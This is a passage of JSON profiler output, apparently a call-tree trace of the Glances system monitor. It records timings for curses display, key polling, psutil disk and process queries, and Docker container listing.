{\"cProcesslistPlugin\": 0.001999201995204203, \"l448\": 0.001999201995204203},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.003999,\"attributes\": {\"cProcesslistPlugin\": 0.003999122003733646, \"l360\": 0.0020003500030725263, \"l359\": 0.00199877200066112},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003500030725263, \"l340\": 0.0020003500030725263},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020003500030725263, \"l1251\": 0.0020003500030725263},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002000,\"attributes\": {\"l445\": 0.0020003500030725263},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000999938929453, \"l360\": 0.0020000999938929453},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000999938929453, \"l340\": 0.0020000999938929453},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000999938929453, \"l1251\": 0.0020000999938929453},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002000,\"attributes\": {\"l459\": 0.0020000999938929453},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000322005187627, \"l309\": 0.002000322005187627},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000322005187627, \"l856\": 0.002000322005187627},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000322005187627, \"l965\": 0.002000322005187627},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020004239995614626, \"l845\": 0.0020004239995614626},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020004239995614626, \"l1094\": 0.0020004239995614626},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002000,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020004239995614626, \"l1043\": 0.0020004239995614626},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101279,\"attributes\": {\"cGlancesCursesStandalone\": 0.10127887300041039, \"l291\": 0.10127887300041039},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101279,\"attributes\": {\"cGlancesCursesStandalone\": 0.10127887300041039, \"l260\": 0.10127887300041039},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101279,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101279,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100490,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048976099642459, \"l1202\": 0.10048976099642459},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100490,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100490,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100615,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061492700333474, \"l291\": 0.10061492700333474},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100615,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061492700333474, \"l260\": 0.10061492700333474},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100615,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100615,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100507,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005072019979707, \"l1202\": 0.1005072019979707},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100507,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100507,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100663,\"attributes\": {\"cGlancesCursesStandalone\": 0.10066278599697398, \"l291\": 0.10066278599697398},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100663,\"attributes\": {\"cGlancesCursesStandalone\": 0.10066278599697398, \"l260\": 0.10066278599697398},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100663,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100663,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100496,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049577300378587, \"l1202\": 0.10049577300378587},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100496,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100496,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100588,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058804399886867, \"l291\": 0.10058804399886867},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100588,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058804399886867, \"l260\": 0.10058804399886867},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100588,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100588,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100505,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050511800363893, \"l1202\": 0.10050511800363893},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100505,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100505,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100596,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059584899863694, \"l291\": 0.10059584899863694},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100596,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059584899863694, \"l260\": 0.10059584899863694},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100596,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100596,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100499,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049869999784278, \"l1202\": 0.10049869999784278},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100499,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100499,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100618,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061831300117774, \"l291\": 0.10061831300117774},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100618,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061831300117774, \"l260\": 0.10061831300117774},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100618,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100618,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100556,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005564820006839, \"l1202\": 0.1005564820006839},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100556,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100556,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100646,\"attributes\": {\"cGlancesCursesStandalone\": 0.1006463219964644, \"l291\": 0.1006463219964644},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100646,\"attributes\": {\"cGlancesCursesStandalone\": 0.1006463219964644, \"l260\": 0.1006463219964644},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100646,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100646,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100579,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057850900193444, \"l1202\": 0.10057850900193444},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100579,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100579,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100556,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055610499694012, \"l291\": 0.10055610499694012},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100556,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055610499694012, \"l260\": 0.10055610499694012},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100556,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100556,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100513,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051288900285726, \"l1202\": 0.10051288900285726},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100513,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100513,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100583,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058286099956604, \"l291\": 0.10058286099956604},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100583,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058286099956604, \"l260\": 0.10058286099956604},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100583,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100583,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100503,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050267000042368, \"l1202\": 0.10050267000042368},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100503,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100503,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100409,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040914799901657, \"l291\": 0.10040914799901657},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100409,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040914799901657, \"l260\": 0.10040914799901657},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100409,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100409,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100382,\"attributes\": {\"cGlancesCursesStandalone\": 0.10038249599892879, \"l1202\": 0.10038249599892879},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100382,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100382,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.136507,\"attributes\": {\"cGlancesStats\": 0.13650726700143423, \"l287\": 0.13650726700143423},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.136507,\"attributes\": {\"cGlancesStats\": 0.13650726700143423, \"l575\": 0.13650726700143423},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.136507,\"attributes\": {\"l571\": 0.13650726700143423},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.136507,\"attributes\": {\"cGlancesStats\": 0.13650726700143423, \"l274\": 0.095191620013793, \"l275\": 0.04131564698764123},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.003429,\"attributes\": {\"cDiskioPlugin\": 0.0034290340045117773, \"l1278\": 0.0034290340045117773},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.003429,\"attributes\": {\"l1295\": 0.0034290340045117773},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003429,\"attributes\": {\"cDiskioPlugin\": 0.0034290340045117773, \"l114\": 0.0034290340045117773},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003429,\"attributes\": {\"cDiskioPlugin\": 0.0034290340045117773, \"l1351\": 0.0034290340045117773},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003429,\"attributes\": {\"cDiskioPlugin\": 0.0034290340045117773, \"l148\": 0.0034290340045117773},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.003429,\"attributes\": {\"l2129\": 0.001588782004546374, \"l2136\": 0.0018402519999654032},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001589,\"attributes\": {\"l1106\": 0.001588782004546374},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001589,\"attributes\": {\"l1051\": 0.001588782004546374},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001589,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.001840,\"attributes\": {\"l1\": 0.0018402519999654032},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001840,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.002022,\"attributes\": {\"cDiskioPlugin\": 0.0020217189958202653, \"l182\": 0.0020217189958202653},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.002022,\"attributes\": {\"cDiskioPlugin\": 0.0020217189958202653, \"l686\": 0.0020217189958202653},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002022,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.068003,\"attributes\": {\"cContainersPlugin\": 0.004518275003647432, \"l1278\": 0.06800327000382822, \"cProcesscountPlugin\": 0.06348499500018079},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.068003,\"attributes\": {\"l1295\": 0.06800327000382822},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.004518,\"attributes\": {\"cContainersPlugin\": 0.004518275003647432, \"l252\": 0.004518275003647432},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.004518,\"attributes\": {\"l256\": 0.004518275003647432},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.004518,\"attributes\": {\"l248\": 0.004518275003647432},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.004518,\"attributes\": {\"cDockerExtension\": 0.004518275003647432, \"l260\": 0.004518275003647432},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.004518,\"attributes\": {\"cContainerCollection\": 0.004518275003647432, \"l1009\": 0.004518275003647432},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.004518,\"attributes\": {\"cAPIClient\": 0.004518275003647432, \"l212\": 0.004518275003647432},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.004518,\"attributes\": {\"cAPIClient\": 0.004518275003647432, \"l44\": 0.004518275003647432},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.004518,\"attributes\": {\"cAPIClient\": 0.004518275003647432, \"l246\": 0.004518275003647432},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.004518,\"attributes\": {\"cAPIClient\": 0.004518275003647432, \"l602\": 0.004518275003647432},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.004518,\"attributes\": {\"cAPIClient\": 0.004518275003647432, \"l575\": 0.0019730089989025146, \"l589\": 0.002545266004744917},\"children\": [{\"identifier\": \"prepare_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000457\",\"time\": 0.001973,\"attributes\": {\"cAPIClient\": 0.0019730089989025146, \"l484\": 0.0019730089989025146},\"children\": [{\"identifier\": \"prepare\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u0000351\",\"time\": 0.001973,\"attributes\": {\"cPreparedRequest\": 0.0019730089989025146, \"l371\": 0.0019730089989025146},\"children\": [{\"identifier\": \"prepare_auth\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u0000588\",\"time\": 0.001973,\"attributes\": {\"cPreparedRequest\": 0.0019730089989025146, \"l593\": 0.0019730089989025146},\"children\": [{\"identifier\": \"get_auth_from_url\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/utils.py\\u00001008\",\"time\": 0.001973,\"attributes\": {\"l1014\": 0.0019730089989025146},\"children\": [{\"identifier\": \"urlparse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000374\",\"time\": 0.001973,\"attributes\": {\"l395\": 0.0019730089989025146},\"children\": [{\"identifier\": \"_urlparse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000399\",\"time\": 0.001973,\"attributes\": {\"l400\": 0.0019730089989025146},\"children\": [{\"identifier\": \"_urlsplit\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/urllib/parse.py\\u0000499\",\"time\": 0.001973,\"attributes\": {\"l513\": 0.0019730089989025146},\"children\": [{\"identifier\": \"str.isalpha\\u0000<built-in>\\u00000\",\"time\": 0.001973,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001973,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002545,\"attributes\": {\"cAPIClient\": 0.002545266004744917, \"l703\": 0.002545266004744917},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002545,\"attributes\": {\"cUnixHTTPAdapter\": 0.002545266004744917, \"l644\": 0.002545266004744917},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002545,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002545266004744917, \"l787\": 0.002545266004744917},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002545,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002545266004744917, \"l534\": 0.002545266004744917},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002545,\"attributes\": {\"cUnixHTTPConnection\": 0.002545266004744917, \"l571\": 0.002545266004744917},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002545,\"attributes\": {\"cUnixHTTPConnection\": 0.002545266004744917, \"l1430\": 0.002545266004744917},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002545,\"attributes\": {\"cHTTPResponse\": 0.002545266004744917, \"l331\": 0.002545266004744917},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002545,\"attributes\": {\"cHTTPResponse\": 0.002545266004744917, \"l292\": 0.002545266004744917},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002545,\"attributes\": {\"cSocketIO\": 0.002545266004744917, \"l725\": 0.002545266004744917},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002545,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002545,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.063485,\"attributes\": {\"cProcesscountPlugin\": 0.06348499500018079, \"l85\": 0.06348499500018079},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.063485,\"attributes\": {\"cGlancesProcesses\": 0.06348499500018079, \"l617\": 0.057448191997536924, \"l624\": 0.0020004719990538433, \"l653\": 0.002183081000111997, \"l659\": 0.0018532500034780242},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.057448,\"attributes\": {\"cGlancesProcesses\": 0.057448191997536924, \"l478\": 0.049448352001491, \"l493\": 0.007999839996045921},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.049448,\"attributes\": {\"l1541\": 0.0014543329962179996, \"l1558\": 0.0419944829918677, \"l1559\": 0.005999536013405304},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.001454,\"attributes\": {\"l1485\": 0.0014543329962179996},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.001454,\"attributes\": {\"l1526\": 0.0014543329962179996},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001454,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.017994,\"attributes\": {\"cProcess\": 0.017993526998907328, \"l579\": 0.017993526998907328},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983210004284047, \"l680\": 0.0019983210004284047},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983210004284047, \"l1593\": 0.0019983210004284047},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002564004214946, \"l1116\": 0.002002564004214946},\"children\": [{\"identifier\": 